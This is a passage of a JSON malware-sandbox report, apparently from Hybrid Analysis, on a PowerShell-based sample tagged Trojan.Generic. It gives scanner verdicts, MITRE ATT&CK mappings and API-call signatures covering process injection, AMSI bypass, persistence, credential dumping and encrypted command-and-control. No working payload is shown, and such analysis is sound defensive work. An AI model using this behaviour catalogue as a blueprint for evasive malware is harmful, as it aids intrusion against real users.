SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - Medium entropy File"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Retrieves specified items using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Tries to copy files"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Tries to copy items using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001496)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001496)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1762775138305', 'hResInfo': '1762775146720'}\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1762775138305', 'hResInfo': '1762775146752'}\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1762775138305', 'hResInfo': '1762775146768'}\" (UID: 00000000-00001496)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1762775138305', 'hResInfo': '1762775146736'}\" (UID: 00000000-00001496)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68acc4b7974931ef11000319"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Format-Table\"; File: 